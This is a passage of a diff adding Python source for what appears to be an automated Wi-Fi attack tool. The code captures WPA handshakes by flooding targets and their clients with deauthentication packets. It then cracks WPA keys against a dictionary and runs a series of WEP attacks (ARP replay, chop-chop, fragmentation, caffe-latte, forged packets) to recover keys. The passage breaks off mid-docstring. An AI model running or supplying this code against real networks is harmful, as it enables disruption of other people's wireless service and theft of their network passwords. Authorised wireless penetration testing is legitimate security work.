options += G + 'c' + W + print G + " [c]ontinue" + W + " attacking targets" + + if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0: + options += W + ', ' + O + 's' + W + print O + " [s]kip" + W + " to cracking WPA cap files" + options += W + ', or ' + R + 'e' + W + print R + " [e]xit" + W + " completely" + ri = '' + while ri != 'c' and ri != 's' and ri != 'e': + ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options) + + if ri == 's': + RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking + elif ri == 'e': + should_we_exit = True + return should_we_exit + + +# +# Abstract base class for attacks. +# Attacks are required to implement the following methods: +# RunAttack - Initializes the attack +# EndAttack - Cleanly ends the attack +# +class Attack(object): + __metaclass__ = abc.ABCMeta + + @abc.abstractmethod + def RunAttack(self): + raise NotImplementedError() + + @abc.abstractmethod + def EndAttack(self): + raise NotImplementedError() + + +################# +# WPA FUNCTIONS # +################# +class WPAAttack(Attack): + def __init__(self, iface, target, clients, config): + self.iface = iface + self.clients = clients + self.target = target + self.RUN_CONFIG = config + + def RunAttack(self): + ''' + Abstract method for initializing the WPA attack + ''' + self.wpa_get_handshake() + + def EndAttack(self): + ''' + Abstract method for ending the WPA attack + ''' + pass + + def wpa_get_handshake(self): + """ + Opens an airodump capture on the target, dumping to a file. + During the capture, sends deauthentication packets to the target both as + general deauthentication packets and specific packets aimed at connected clients. + Waits until a handshake is captured. + "iface" - interface to capture on + "target" - Target object containing info on access point + "clients" - List of Client objects associated with the target + Returns True if handshake was found, False otherwise + """ + + if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1 + + # Generate the filename to save the .cap file as _aa-bb-cc-dd-ee-ff.cap + save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \ + + '_' + self.target.bssid.replace(':', '-') + '.cap' + + # Check if we already have a handshake for this SSID... If we do, generate a new filename + save_index = 0 + while os.path.exists(save_as): + save_index += 1 + save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \ + + '_' + self.target.bssid.replace(':', '-') \ + + '_' + str(save_index) + '.cap' + + # Remove previous airodump output files (if needed) + remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + + # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C) + try: + # Start airodump-ng process to capture handshakes + cmd = ['airodump-ng', + '-w', self.RUN_CONFIG.temp + 'wpa', + '-c', self.target.channel, + '--bssid', self.target.bssid, self.iface] + proc_read = Popen(cmd, stdout=DN, stderr=DN) + + # Setting deauthentication process here to avoid errors later on + proc_deauth = None + + print ' %s starting %swpa handshake capture%s on "%s"' % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W) + got_handshake = False + + seconds_running = 0 + seconds_since_last_deauth = 0 + + target_clients = self.clients[:] + client_index = -1 + start_time = time.time() + # Deauth and check-for-handshake loop + while not got_handshake and ( + self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT): + if proc_read.poll() != None: + print "" + print "airodump-ng exited with status " + str(proc_read.poll()) + print "" + break + time.sleep(1) + seconds_since_last_deauth += int(time.time() - start_time - seconds_running) + seconds_running = int(time.time() - start_time) + + print " \r", + print ' %s listening for handshake...\r' % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W), + stdout.flush() + + if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT: + seconds_since_last_deauth = 0 + # Send deauth packets via aireplay-ng + cmd = ['aireplay-ng', + '--ignore-negative-one', + '-0', # Attack method (Deauthentication) + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send + '-a', self.target.bssid] + + client_index += 1 + + if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients): + print " %s sending %s deauth to %s*broadcast*%s..." % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, + G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W), + client_index = -1 + else: + print " %s sending %s deauth to %s... " % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \ + G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \ + G + target_clients[client_index].bssid + W), + cmd.append('-h') + cmd.append(target_clients[client_index].bssid) + cmd.append(self.iface) + stdout.flush() + + # Send deauth packets via aireplay, wait for them to complete. + proc_deauth = Popen(cmd, stdout=DN, stderr=DN) + proc_deauth.wait() + print "sent\r", + stdout.flush() + + # Copy current dump file for consistency + if not os.path.exists(self.RUN_CONFIG.temp + 'wpa-01.cap'): continue + copy(self.RUN_CONFIG.temp + 'wpa-01.cap', self.RUN_CONFIG.temp + 'wpa-01.cap.temp') + + # Save copy of cap file (for debugging) + #remove_file('/root/new/wpa-01.cap') + #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap') + + # Check for handshake + if self.has_handshake(self.target, self.RUN_CONFIG.temp + 'wpa-01.cap.temp'): + got_handshake = True + + try: + os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep) + except OSError: + pass + + # Kill the airodump and aireplay processes + send_interrupt(proc_read) + send_interrupt(proc_deauth) + + # Save a copy of the handshake + rename(self.RUN_CONFIG.temp + 'wpa-01.cap.temp', save_as) + + print '\n %s %shandshake captured%s! saved as "%s"' % ( + GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W) + self.RUN_CONFIG.WPA_FINDINGS.append( + '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid)) + self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as)) + self.RUN_CONFIG.WPA_FINDINGS.append('') + + # Strip handshake if needed + if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as) + + # Add the filename and SSID to the list of 'to-crack' + # Cracking will be handled after all attacks are finished. + self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid)) + + break # Break out of while loop + + # No handshake yet + os.remove(self.RUN_CONFIG.temp + 'wpa-01.cap.temp') + + # Check the airodump output file for new clients + for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wpa-01.csv')[1]: + if client.station != self.target.bssid: continue + new_client = True + for c in target_clients: + if client.bssid == c.bssid: + new_client = False + break + + if new_client: + print " %s %snew client%s found: %s " % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \ + G + client.bssid + W) + target_clients.append(client) + + # End of Handshake wait loop. + + if not got_handshake: + print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W + + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W + if attack_interrupted_prompt(): + remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + send_interrupt(proc_read) + send_interrupt(proc_deauth) + print '' + self.RUN_CONFIG.exit_gracefully(0) + + + # clean up + remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + send_interrupt(proc_read) + send_interrupt(proc_deauth) + + return got_handshake + + def has_handshake_tshark(self, target, capfile): + """ + Uses TShark to check for a handshake. + Returns "True" if handshake is found, false otherwise. + """ + if program_exists('tshark'): + # Call Tshark to return list of EAPOL packets in cap file. + cmd = ['tshark', + '-r', capfile, # Input file + '-R', 'eapol', # Filter (only EAPOL packets) + '-n'] # Do not resolve names (MAC vendors) + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + lines = proc.communicate()[0].split('\n') + + # Get list of all clients in cap file + clients = [] + for line in lines: + if line.find('appears to have been cut short') != -1 or line.find( + 'Running as user "root"') != -1 or line.strip() == '': + continue + + while line.startswith(' '): line = line[1:] + while line.find(' ') != -1: line = line.replace(' ', ' ') + + fields = line.split(' ') + # ensure tshark dumped correct info + if len(fields) < 5: + continue + + src = fields[2].lower() + dst = fields[4].lower() + + if src == target.bssid.lower() and clients.count(dst) == 0: + clients.append(dst) + elif dst == target.bssid.lower() and clients.count(src) == 0: + clients.append(src) + + # Check each client for a handshake + for client in clients: + msg_num = 1 # Index of message in 4-way handshake (starts at 1) + + for line in lines: + if line.find('appears to have been cut short') != -1: continue + if line.find('Running as user "root"') != -1: continue + if line.strip() == '': continue + + # Sanitize tshark's output, separate into fields + while line[0] == ' ': line = line[1:] + while line.find(' ') != -1: line = line.replace(' ', ' ') + + fields = line.split(' ') + + # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake. + # This catches this glitch and fixes it. + if len(fields) < 8: + continue + elif len(fields) == 8: + fields.append('(msg') + fields.append('3/4)') + + src = fields[2].lower() # Source MAC address + dst = fields[4].lower() # Destination MAC address + if len(fields) == 12: + # "Message x of y" format + msg = fields[9][0] + else: + msg = fields[-1][0] + + # First, third msgs in 4-way handshake are from the target to client + if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): + continue + # Second, fourth msgs in 4-way handshake are from client to target + elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): + continue + + # The messages must appear in sequential order. + try: + if int(msg) != msg_num: continue + except ValueError: + continue + + msg_num += 1 + + # We need the first 4 messages of the 4-way handshake + # Although aircrack-ng cracks just fine with only 3 of the messages... + if msg_num >= 4: + return True + return False + + def has_handshake_cowpatty(self, target, capfile, nonstrict=True): + """ + Uses cowpatty to check for a handshake. + Returns "True" if handshake is found, false otherwise. + """ + if not program_exists('cowpatty'): return False + + # Call cowpatty to check if capfile contains a valid handshake. + cmd = ['cowpatty', + '-r', capfile, # input file + '-s', target.ssid, # SSID + '-c'] # Check for handshake + # Uses frames 1, 2, or 3 for key attack + if nonstrict: cmd.append('-2') + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + response = proc.communicate()[0] + if response.find('incomplete four-way handshake exchange') != -1: + return False + elif response.find('Unsupported or unrecognized pcap file.') != -1: + return False + elif response.find('Unable to open capture file: Success') != -1: + return False + return True + + def has_handshake_pyrit(self, target, capfile): + """ + Uses pyrit to check for a handshake. + Returns "True" if handshake is found, false otherwise. + """ + if not program_exists('pyrit'): return False + + # Call pyrit to "Analyze" the cap file's handshakes. + cmd = ['pyrit', + '-r', capfile, + 'analyze'] + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() + hit_essid = False + for line in proc.communicate()[0].split('\n'): + # Iterate over every line of output by Pyrit + if line == '' or line == None: continue + if line.find("AccessPoint") != -1: + hit_essid = (line.find("('" + target.ssid + "')") != -1) and \ + (line.lower().find(target.bssid.lower()) != -1) + #hit_essid = (line.lower().find(target.bssid.lower())) + + else: + # If Pyrit says it's good or workable, it's a valid handshake. + if hit_essid and (line.find(', good, ') != -1 or \ + line.find(', workable, ') != -1): + return True + return False + + def has_handshake_aircrack(self, target, capfile): + """ + Uses aircrack-ng to check for handshake. + Returns True if found, False otherwise. + """ + if not program_exists('aircrack-ng'): return False + crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile + proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True) + proc_crack.wait() + txt = proc_crack.communicate()[0] + + return (txt.find('Passphrase not in dictionary') != -1) + + def has_handshake(self, target, capfile): + """ + Checks if .cap file contains a handshake. + Returns True if handshake is found, False otherwise. + """ + valid_handshake = True + tried = False + if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK: + tried = True + valid_handshake = self.has_handshake_tshark(target, capfile) + + if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: + tried = True + valid_handshake = self.has_handshake_cowpatty(target, capfile) + + # Use CowPatty to check for handshake. + if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: + tried = True + valid_handshake = self.has_handshake_cowpatty(target, capfile) + + # Check for handshake using Pyrit if applicable + if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT: + tried = True + valid_handshake = self.has_handshake_pyrit(target, capfile) + + # Check for handshake using aircrack-ng + if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK: + tried = True + valid_handshake = self.has_handshake_aircrack(target, capfile) + + if tried: return valid_handshake + print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!' + self.RUN_CONFIG.exit_gracefully(1) + + def strip_handshake(self, capfile): + """ + Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file + File in location 'capfile' is overwritten! + """ + output_file = capfile + if program_exists('pyrit'): + cmd = ['pyrit', + '-r', capfile, + '-o', capfile + '.temp', + 'stripLive'] + call(cmd, stdout=DN, stderr=DN) + rename(capfile + '.temp', output_file) + + elif program_exists('tshark'): + # strip results with tshark + cmd = ['tshark', + '-r', capfile, # input file + '-R', 'eapol || wlan_mgt.tag.interpretation', # filter + '-w', capfile + '.temp'] # output file + proc_strip = call(cmd, stdout=DN, stderr=DN) + + rename(capfile + '.temp', output_file) + + else: + print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W + + +########################## +# WPA CRACKING FUNCTIONS # +########################## +def wpa_crack(capfile, RUN_CONFIG): + """ + Cracks cap file using aircrack-ng + This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat, + they can do so manually. + """ + if RUN_CONFIG.WPA_DICTIONARY == '': + print R + ' [!]' + O + ' no WPA dictionary found! use -dict command-line argument' + W + return False + + print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W) + start_time = time.time() + cracked = False + + remove_file(RUN_CONFIG.temp + 'out.out') + remove_file(RUN_CONFIG.temp + 'wpakey.txt') + + cmd = ['aircrack-ng', + '-a', '2', # WPA crack + '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist + '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file + '-b', capfile.bssid, # BSSID of target + capfile.filename] + + proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN) + try: + kt = 0 # Keys tested + kps = 0 # Keys per second + while True: + time.sleep(1) + + if proc.poll() != None: # aircrack stopped + if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'): + # Cracked + inf = open(RUN_CONFIG.temp + 'wpakey.txt') + key = inf.read().strip() + inf.close() + RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % ( + G + capfile.ssid + W, G + capfile.bssid + W, C + key + W)) + RUN_CONFIG.WPA_FINDINGS.append('') + t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid) + t.key = key + RUN_CONFIG.save_cracked(t) + + print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W) + print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W) + cracked = True + else: + # Did not crack + print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W + break + + inf = open(RUN_CONFIG.temp + 'out.out', 'r') + lines = inf.read().split('\n') + inf.close() + outf = open(RUN_CONFIG.temp + 'out.out', 'w') + outf.close() + for line in lines: + i = line.find(']') + j = line.find('keys tested', i) + if i != -1 and j != -1: + kts = line[i + 2:j - 1] + try: + kt = int(kts) + except ValueError: + pass + i = line.find('(') + j = line.find('k/s)', i) + if i != -1 and j != -1: + kpss = line[i + 1:j - 1] + try: + kps = float(kpss) + except ValueError: + pass + + print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \ + (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W), + stdout.flush() + + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPA cracking interrupted' + W + + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + + return cracked + + +def add_commas(n): + """ + Receives integer n, returns string representation of n with commas in thousands place. + I'm sure there's easier ways of doing this... but meh. + """ + strn = str(n) + lenn = len(strn) + i = 0 + result = '' + while i < lenn: + if (lenn - i) % 3 == 0 and i != 0: result += ',' + result += strn[i] + i += 1 + return result + + +################# +# WEP FUNCTIONS # +################# +class WEPAttack(Attack): + def __init__(self, iface, target, clients, config): + self.iface = iface + self.target = target + self.clients = clients + self.RUN_CONFIG = config + + def RunAttack(self): + ''' + Abstract method for dispatching the WEP crack + ''' + self.attack_wep() + + def EndAttack(self): + ''' + Abstract method for ending the WEP attack + ''' + pass + + def attack_wep(self): + """ + Attacks WEP-encrypted network. + Returns True if key was successfully found, False otherwise. + """ + if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1 + + total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0) + if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1 + if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1 + if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1 + if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1 + if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1 + if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1 + + if total_attacks <= 0: + print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!' + return False + remaining_attacks = total_attacks + + print ' %s preparing attack "%s" (%s)' % \ + (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W) + + remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + + # Start airodump process to capture packets + cmd_airodump = ['airodump-ng', + '-w', self.RUN_CONFIG.temp + 'wep', # Output file name (wep-01.cap, wep-01.csv) + '-c', self.target.channel, # Wireless channel + '--bssid', self.target.bssid, + self.iface] + proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) + proc_aireplay = None + proc_aircrack = None + + successful = False # Flag for when attack is successful + started_cracking = False # Flag for when we have started aircrack-ng + client_mac = '' # The client mac we will send packets to/from + + total_ivs = 0 + ivs = 0 + last_ivs = 0 + for attack_num in xrange(0, 6): + + # Skip disabled attacks + if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY: + continue + elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP: + continue + elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT: + continue + elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE: + continue + elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841: + continue + elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE: + continue + + remaining_attacks -= 1 + + try: + + if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)): + # Successful fake auth + client_mac = self.RUN_CONFIG.THIS_MAC + elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH: + send_interrupt(proc_aireplay) + send_interrupt(proc_airodump) + print R + ' [!]' + O + ' unable to fake-authenticate with target' + print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line' + return False + + remove_file(self.RUN_CONFIG.temp + 'arp.cap') + # Generate the aireplay-ng arguments based on attack_num and other params + cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac) + if cmd == '': continue + if proc_aireplay != None: + send_interrupt(proc_aireplay) + proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) + + print '\r %s attacking "%s" via' % ( + GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W), + if attack_num == 0: + print G + 'arp-replay', + elif attack_num == 1: + print G + 'chop-chop', + elif attack_num == 2: + print G + 'fragmentation', + elif attack_num == 3: + print G + 'caffe-latte', + elif attack_num == 4: + print G + 'p0841', + elif attack_num == 5: + print G + 'hirte', + print 'attack' + W + + print ' %s captured %s%d%s ivs @ %s iv/sec' % ( + GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W), + stdout.flush() + + time.sleep(1) + if attack_num == 1: + # Send a deauth packet to broadcast and all clients *just because!* + self.wep_send_deauths(self.iface, self.target, self.clients) + last_deauth = time.time() + + replaying = False + time_started = time.time() + while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT: + # time.sleep(5) + for time_count in xrange(0, 6): + if self.RUN_CONFIG.WEP_TIMEOUT == -1: + current_hms = "[endless]" + else: + current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)) + print "\r %s\r" % (GR + current_hms + W), + stdout.flush() + time.sleep(1) + + # Calculates total seconds remaining + + # Check number of IVs captured + csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0] + if len(csv) > 0: + ivs = int(csv[0].data) + print "\r ", + print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \ + (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W), + + if ivs - last_ivs == 0 and time.time() - last_deauth > 30: + print "\r %s deauthing to generate packets..." % (GR + current_hms + W), + self.wep_send_deauths(self.iface, self.target, self.clients) + print "done\r", + last_deauth = time.time() + + last_ivs = ivs + stdout.flush() + if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking: + # Start cracking + cmd = ['aircrack-ng', + '-a', '1', + '-l', self.RUN_CONFIG.temp + 'wepkey.txt'] + #temp + 'wep-01.cap'] + # Append all .cap files in temp directory (in case we are resuming) + for f in os.listdir(self.RUN_CONFIG.temp): + if f.startswith('wep-') and f.endswith('.cap'): + cmd.append(self.RUN_CONFIG.temp + f) + + print "\r %s started %s (%sover %d ivs%s)" % ( + GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W) + proc_aircrack = Popen(cmd, stdout=DN, stderr=DN) + started_cracking = True + + # Check if key has been cracked yet. + if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'): + # Cracked! + infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r') + key = infile.read().replace('\n', '') + infile.close() + print '\n\n %s %s %s (%s)! key: "%s"' % ( + current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W) + self.RUN_CONFIG.WEP_FINDINGS.append( + 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) + self.RUN_CONFIG.WEP_FINDINGS.append('') + + t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid) + t.key = key + self.RUN_CONFIG.save_cracked(t) + + # Kill processes + send_interrupt(proc_airodump) + send_interrupt(proc_aireplay) + try: + os.kill(proc_aireplay, SIGTERM) + except: + pass + send_interrupt(proc_aircrack) + # Remove files generated by airodump/aireplay/packetforce + time.sleep(0.5) + remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + return True + + # Check if aireplay is still executing + if proc_aireplay.poll() == None: + if replaying: + print ', ' + G + 'replaying \r' + W, + elif attack_num == 1 or attack_num == 2: + print ', waiting for packet \r', + stdout.flush() + continue + + # At this point, aireplay has stopped + if attack_num != 1 and attack_num != 2: + print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W) + break # Break out of attack's While loop + + # Check for a .XOR file (we expect one when doing chopchop/fragmentation + xor_file = '' + for filename in sorted(os.listdir(self.RUN_CONFIG.temp)): + if filename.lower().endswith('.xor'): xor_file = self.RUN_CONFIG.temp + filename + if xor_file == '': + print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W) + break + + remove_file(self.RUN_CONFIG.temp + 'arp.cap') + cmd = ['packetforge-ng', + '-0', + '-a', self.target.bssid, + '-h', client_mac, + '-k', '192.168.1.2', + '-l', '192.168.1.100', + '-y', xor_file, + '-w', self.RUN_CONFIG.temp + 'arp.cap', + self.iface] + proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN) + proc_pforge.wait() + forged_packet = proc_pforge.communicate()[0] + remove_file(xor_file) + if forged_packet == None: result = '' + forged_packet = forged_packet.strip() + if not forged_packet.find('Wrote packet'): + print "\r %s attack failed: unable to forget ARP packet %s" % ( + R + current_hms + O, W) + break + + # We were able to forge a packet, so let's replay it via aireplay-ng + cmd = ['aireplay-ng', + '--ignore-negative-one', + '--arpreplay', + '-b', self.target.bssid, + '-r', self.RUN_CONFIG.temp + 'arp.cap', # Used the forged ARP packet + '-F', # Select the first packet + self.iface] + proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) + + print '\r %s forged %s! %s... ' % ( + GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W) + replaying = True + + # After the attacks, if we are already cracking, wait for the key to be found! + while started_cracking: # ivs > WEP_CRACK_AT_IVS: + time.sleep(5) + # Check number of IVs captured + csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(self.RUN_CONFIG.temp + 'wep-01.csv')[0] + if len(csv) > 0: + ivs = int(csv[0].data) + print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \ + (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W), + last_ivs = ivs + stdout.flush() + + # Check if key has been cracked yet. + if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'): + # Cracked! + infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r') + key = infile.read().replace('\n', '') + infile.close() + print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % ( + G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W) + self.RUN_CONFIG.WEP_FINDINGS.append( + 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) + self.RUN_CONFIG.WEP_FINDINGS.append('') + + t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid) + t.key = key + self.RUN_CONFIG.save_cracked(t) + + # Kill processes + send_interrupt(proc_airodump) + send_interrupt(proc_aireplay) + send_interrupt(proc_aircrack) + # Remove files generated by airodump/aireplay/packetforce + remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + return True + + # Keyboard interrupt during attack + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W + + send_interrupt(proc_airodump) + if proc_aireplay != None: + send_interrupt(proc_aireplay) + if proc_aircrack != None: + send_interrupt(proc_aircrack) + + options = [] + selections = [] + if remaining_attacks > 0: + options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \ + (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else '')) + selections.append(G + 'c' + W) + + if self.RUN_CONFIG.TARGETS_REMAINING > 0: + options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \ + (O, W, self.RUN_CONFIG.TARGETS_REMAINING, + 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else '')) + selections.append(O + 's' + W) + + options.append('%sexit%s the program completely' % (R, W)) + selections.append(R + 'e' + W) + + if len(options) > 1: + # Ask user what they want to do, Store answer in "response" + print GR + ' [+]' + W + ' what do you want to do?' + response = '' + while response != 'c' and response != 's' and response != 'e': + for option in options: + print ' %s' % option + response = raw_input( + GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0] + else: + response = 'e' + + if response == 'e' or response == 's': + # Exit or skip target (either way, stop this attack) + if self.RUN_CONFIG.WEP_SAVE: + # Save packets + save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':', + '-') + '.cap' + W + try: + rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as) + except OSError: + print R + ' [!]' + O + ' unable to save capture file!' + W + else: + print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W + + # Remove files generated by airodump/aireplay/packetforce + for filename in os.listdir('.'): + if filename.startswith('replay_arp-') and filename.endswith('.cap'): + remove_file(filename) + remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + print '' + if response == 'e': + self.RUN_CONFIG.exit_gracefully(0) + return + + elif response == 'c': + # Continue attacks + # Need to backup temp/wep-01.cap and remove airodump files + i = 2 + while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'): + i += 1 + copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap') + remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + + # Need to restart airodump-ng, as it's been interrupted/killed + proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) + + # Say we haven't started cracking yet, so we re-start if needed. + started_cracking = False + + # Reset IVs counters for proper behavior + total_ivs += ivs + ivs = 0 + last_ivs = 0 + + # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap + pass + + if successful: + print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W + else: + print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W + + send_interrupt(proc_airodump) + if proc_aireplay != None: + send_interrupt(proc_aireplay) + + # Remove files generated by airodump/aireplay/packetforce + for filename in os.listdir('.'): + if filename.startswith('replay_arp-') and filename.endswith('.cap'): + remove_file(filename) + remove_airodump_files(self.RUN_CONFIG.temp + 'wep') + remove_file(self.RUN_CONFIG.temp + 'wepkey.txt') + + def wep_fake_auth(self, iface, target, time_to_display): + """ + Attempt to (falsely) 